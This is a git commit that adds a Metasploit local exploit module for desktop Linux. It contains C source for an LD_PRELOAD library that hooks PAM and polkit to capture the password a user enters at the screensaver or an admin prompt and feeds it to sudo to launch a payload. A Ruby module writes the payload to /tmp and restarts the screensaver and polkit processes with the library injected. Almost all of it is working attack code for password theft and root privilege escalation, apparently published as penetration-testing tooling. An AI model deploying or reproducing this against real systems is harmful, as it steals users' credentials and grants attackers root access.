Add desktop_linux_privilege_escalation module

bug/bundler_fix
Jakob Lell 2014-08-25 00:05:20 +02:00
parent 3bbe9bf074
commit fc6f50058b
5 changed files with 163 additions and 0 deletions

View File

@ -0,0 +1,5 @@
#! /bin/sh
set -e
gcc -std=c99 -shared -fPIC -o passwd_stealer_preload64.so passwd_stealer_preload.c
gcc -std=c99 -shared -fPIC -m32 -o passwd_stealer_preload32.so passwd_stealer_preload.c

View File

@ -0,0 +1,53 @@
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_appl.h>
#include <unistd.h>
void run_sudo(char* password){
// Use a placeholder so that this library doesn't need to be recompiled every
// time the exploit is executed (which would be hard to do since Metasploit
// supports Windows and Mac OS as well.
FILE* sudo = popen("sudo -S COMMAND_PLACEHOLDER_HERE____________________________________________________________________________________________________","w");
fprintf(sudo,"%s\n",password);
pclose(sudo);
}
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr){
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
int i;
int passwd_index = -1;
for(i=0;i<num_msg;i++){
if(strstr(msg[i]->msg,"Password") >= 0){
passwd_index = i;
}
}
int result = orig_pam_conversation->conv(num_msg,msg,resp,orig_pam_conversation->appdata_ptr);
if(passwd_index >= 0){
run_sudo(resp[passwd_index]->resp);
}
return result;
}
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh){
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
if(!orig_pam_start){
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
}
struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));
my_pam_conversation->conv = &my_conv;
my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
}
void polkit_agent_session_response (void *session, char *response){
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
if(!orig_polkit_agent_session_response){
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
}
run_sudo(response);
orig_polkit_agent_session_response(session,response);
return;
}

View File

@ -0,0 +1,105 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'base64'
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
def initialize(info={})
super( update_info( info, {
'Name' => 'Desktop Linux Password Stealer and Privilege Escalation',
'Description' => %q{
This module steals the user password of an administrative user on a desktop Linux system when it is entered for unlocking the screen or for doing administrative actions using policykit. Then it escalates to root privileges using sudo and the stolen user password.
It exploits the design weakness that there is no trusted channell for transferring the password from the keyboard to the actual password verificatition against the shadow file (which is running as root since /etc/shadow is only readable to the root user). Both screensavers (xscreensaver/gnome-screensaver) and policykit use a component running under the current user account to query for the password and then pass it to a setuid-root binary to do the password verification. Therefore it is possible to inject a password stealer after compromising the user account. Since sudo requires only the user password (and not the root password of the system), stealing the user password of an administrative user directly allows escalating to root privileges.
Please note that you have to start a handler as a background job before running this exploit since the exploit will only create a shell when the user actually enters the password (which may be hours after launching the exploit). Using exploit/multi/handler with the option ExitOnSession set to false should do the job.
},
'License' => MSF_LICENSE,
'Author' => [ 'Jakob Lell' ],
'DisclosureDate' => 'Aug 7 2014',
'Platform' => %w{ linux },
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "PrependFork" => true , "DisablePayloadHandler" => true},
'DefaultTarget' => 0,
}
))
register_options([
OptString.new("WritableDir", [ true, "A directory for storing temporary files on the target system", "/tmp" ]),
], self.class)
end
def check
output = cmd_exec("if which perl && which sudo && id|grep -E 'sudo|adm' && pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;then echo OK;fi").gsub("\r","")
vprint_status(output)
if output["OK"] == "OK"
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def get_restart_commands
text_output = cmd_exec('pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";$/=undef;for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\'').gsub("\r","")
vprint_status(text_output)
lines = text_output.split("\n")
process_restart_commands = []
i=0
while(i < lines.length-3)
m = lines[i].match(/^PID:(\d+)/)
if m
pid = m[1]
vprint_status("PID=#{pid}")
print_status("EXE_LINE:" + lines[i+1])
exe = lines[i+1].match(/^EXE:(\S+)$/)[1]
vprint_status("exe=#{exe}")
cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack("H*").split("\x00")
vprint_status("CMDLINE=" + cmdline.join(" XXX "))
env = lines[i+3].match(/^environ:(\w+)$/)[1]
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\'';
vprint_status("RESTART: #{restart_command}")
process_restart_commands.push(restart_command)
end
i+=1
end
return process_restart_commands
end
def exploit
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
print_status("Writing payload executable to '#{exe_file}'")
write_file(exe_file, generate_payload_exe())
cmd_exec "chmod +x #{exe_file}"
lib_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.so"
if target['Arch'] == ARCH_X86
lib_path = File.join( Msf::Config.data_directory, "exploits","desktop_linux_privilege_escalation/passwd_grabber_preload32.so")
elsif target['Arch'] == ARCH_X86_64
lib_path = File.join( Msf::Config.data_directory, "exploits","desktop_linux_privilege_escalation/passwd_grabber_preload64.so")
end
lib_data = File.read(lib_path)
lib_data["COMMAND_PLACEHOLDER_HERE____________________________________________________________________________________________________"] = exe_file + (" " * ("COMMAND_PLACEHOLDER_HERE____________________________________________________________________________________________________".length-exe_file.length))
print_status("Writing lib file to '#{lib_file}'")
write_file(lib_file,lib_data)
print_status("Restarting processes (screensaver/policykit)")
process_restart_commands = get_restart_commands()
process_restart_commands.each do |cmd|
cmd["LD_PRELOAD_PLACEHOLDER"] = lib_file
cmd_exec(cmd)
end
print_status("The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep the handler running.")
end
end